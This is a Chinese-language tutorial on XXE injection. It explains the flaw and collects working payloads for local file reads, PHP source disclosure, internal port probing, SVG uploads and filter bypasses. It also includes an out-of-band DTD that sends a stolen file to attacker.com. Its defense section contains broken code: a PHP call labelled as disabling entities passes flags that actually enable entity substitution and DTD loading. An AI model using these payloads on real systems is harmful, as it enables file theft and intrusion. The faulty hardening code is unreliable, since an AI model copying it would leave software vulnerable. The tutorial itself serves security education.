XXE漏洞详解:原理、利用与防御
免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。
目录
什么是XXE漏洞
XXE(XML External Entity Injection,XML外部实体注入) 是一种针对XML解析器的安全漏洞。当应用程序解析用户提交的XML数据时,如果未正确配置XML解析器,攻击者可以通过构造恶意的XML文档,利用外部实体引用执行各种攻击。
常见应用场景
XXE漏洞可能出现在任何接收XML数据的业务逻辑处:
- SOAP型Web Service:使用XML格式与服务器通信
- REST型Web Service:虽然通常使用JSON,但许多框架也支持XML格式
- 文件上传:SVG图片、Office文档、PDF等格式的文件解析
- 配置文件解析:Spring、Struts2等框架的配置文件处理
- 数据交换:RSS订阅、SOAP消息等
XXE漏洞原理
XML基础
XML(eXtensible Markup Language,可扩展标记语言)是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。
XML文档结构包括:
- XML声明:定义XML版本和编码
- DTD(Document Type Definition):文档类型定义(可选)
- 文档元素:实际的XML内容
DTD与实体
DTD用于定义XML文档的结构规则,可以声明元素、属性以及实体。
实体(Entity) 是用于定义引用文本或字符的快捷方式的变量,可以:
- 内部声明:在DTD中直接定义
- 外部引用:引用外部文件
实体类型
| 类型 | 说明 | 示例 |
|---|---|---|
| 内部通用实体 | 在DTD中定义文本替换 | <!ENTITY writer "Writer: Donald Duck."> |
| 外部通用实体 | 引用外部文件 | <!ENTITY xxe SYSTEM "file:///etc/passwd"> |
| 参数实体 | 仅在DTD中使用 | <!ENTITY % file SYSTEM "file:///flag"> |
漏洞产生原因
当XML解析器支持外部实体引用且未进行安全限制时,攻击者可以:
- 定义引用本地文件的外部实体
- 定义引用远程资源的外部实体
- 在XML文档中引用这些实体,触发解析器读取敏感文件或访问内网资源
XXE漏洞的危害
XXE漏洞可能导致以下严重后果:
1. 读取本地敏感文件
攻击者可以读取服务器上的任意文件,如:
/etc/passwd(Linux用户列表)- 配置文件(数据库密码、API密钥等)
- 应用程序源代码
2. SSRF(服务器端请求伪造)
利用XXE进行内网探测:
- 扫描内网主机和端口
- 访问内网服务
- 攻击内部系统
3. 数据外带(OOB)
通过外带通道窃取数据,即使目标系统不回显数据也能获取敏感信息。
4. 拒绝服务攻击(DoS)
利用递归实体引用或大型文件引用导致:
- Billion Laughs攻击(递归实体扩展)
- 内存耗尽
- CPU资源耗尽
5. 远程代码执行(特定条件)
- PHP中如果安装了expect扩展,可利用XXE执行任意命令
- Java中利用jar://协议可能导致恶意文件上传
XXE漏洞利用方式
1. 文件读取
使用file协议
1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>
PHP中使用php://filter
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<creds>
<user>&xxe;</user>
</creds>
2. 内网探测
利用XXE进行SSRF攻击,探测内网服务:
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:80/" >
]>
<foo>&xxe;</foo>
通过响应时间或错误信息判断内网主机和端口是否开放。
3. 数据外带(OOB - Out of Band)
当目标系统不回显数据时,可以通过外带方式窃取数据:
Payload(目标系统):
1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/shell.dtd">
%remote;
]>
<root></root>
shell.dtd(攻击者服务器):
1
2
3
4
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://attacker.com:5555/?flag=%file;'>">
%int;
%send;
4. SVG格式的XXE
SVG文件本质上也是XML,可以在图片上传功能中利用:
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
XXE漏洞Payload示例
基础文件读取Payload
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>
Windows系统文件读取
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user>
<name>&xxe;</name>
</user>
PHP源码读取(Base64编码)
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<user>
<name>&xxe;</name>
</user>
内网端口扫描
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:22/">
]>
<user>
<name>&xxe;</name>
</user>
使用PUBLIC关键字
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe PUBLIC "any_text" "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>
XXE漏洞绕过技巧
1. 双重实体编码绕过
当只过滤了SYSTEM、PUBLIC等关键字时,可用双重实体编码绕过:
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % xml "<!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core>       <message>&xxe;</message> </core>">
%xml;
]>
原理:在XML实体中再定义一次XML,通过编码绕过关键字过滤。
2. 使用参数实体
1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY load "%xxe;">
]>
<foo>&load;</foo>
3. 大小写绕过
如果过滤不区分大小写,可以尝试:
System代替SYSTEMsYsTeM混合大小写
4. 协议绕过
如果file://被过滤,可以尝试:
php://filterhttp://ftp://data://
5. 注释绕过
1
2
3
<!DOCTY<!DOCTYPEPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
XXE漏洞防御措施
1. 禁用外部实体(推荐)
PHP
1
2
3
4
5
6
// 禁用外部实体加载
libxml_disable_entity_loader(true);
// 使用DOMDocument时
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NOERROR | LIBXML_NOWARNING);
注意:PHP 5.4.5之后默认不解析实体,但仍建议显式禁用。
Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
// 创建安全的DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用外部实体
dbf.setExpandEntityReferences(false);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
DocumentBuilder db = dbf.newDocumentBuilder();
Python
1
2
3
4
5
6
7
8
from lxml import etree
from defusedxml import lxml as DLxml
# 方法1: 使用lxml并禁用实体解析
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
# 方法2: 使用defusedxml(更安全)
xmlData = DLxml.parse(xmlSource)
2. 使用安全的XML解析库
Java - 使用OWASP Java Encoder
1
2
3
4
import org.owasp.encoder.Encode;
// 对XML输入进行编码
String safeXml = Encode.forXml(xmlInput);
Python - 使用defusedxml
1
2
3
4
5
6
7
8
9
# defusedxml是Python的安全XML解析库
from defusedxml import ElementTree as ET
from defusedxml import minidom
from defusedxml import sax
from defusedxml import xmlrpc
from defusedxml import lxml
# 使用defusedxml替代标准库
root = ET.parse(xml_file)
3. 输入验证和过滤
1
2
3
4
5
6
7
8
9
import re
def sanitize_xml_input(xml_string):
"""清理XML输入,移除危险的DTD声明"""
# 移除DOCTYPE声明
xml_string = re.sub(r'<!DOCTYPE[^>]*>', '', xml_string, flags=re.IGNORECASE)
# 移除ENTITY声明
xml_string = re.sub(r'<!ENTITY[^>]*>', '', xml_string, flags=re.IGNORECASE)
return xml_string
4. 使用JSON替代XML
如果业务允许,尽量使用JSON格式替代XML进行数据交换,从根本上避免XXE漏洞。
5. 网络层防护
- 配置WAF规则,检测和拦截XXE攻击Payload
- 限制服务器的出站连接,防止数据外带
- 使用网络隔离,限制服务器访问内网资源
6. 最小权限原则
- 确保运行应用的服务账号只有必要的文件读取权限
- 敏感配置文件设置严格的访问控制
- 定期审计文件权限
总结
XXE漏洞是一种常见且危害严重的Web安全漏洞,主要由于XML解析器配置不当导致。防御XXE漏洞的关键在于:
- 禁用外部实体:这是最有效的防御措施
- 使用安全库:如defusedxml等经过安全加固的解析库
- 输入验证:对XML输入进行严格的验证和过滤
- 最小权限:限制应用和服务的文件访问权限
- 替代方案:优先考虑使用JSON等更安全的格式
作为安全研究人员,在进行渗透测试时,应当:
- 始终获得合法授权
- 使用测试环境进行验证
- 负责任地披露漏洞
- 帮助开发团队修复问题
参考资源
- OWASP XML External Entity (XXE) Prevention Cheat Sheet
- 狼组安全团队 - XXE知识库
- 漏洞知识库 - XXE
- PortSwigger Web Security Academy - XXE
本文最后更新于:2026年3月9日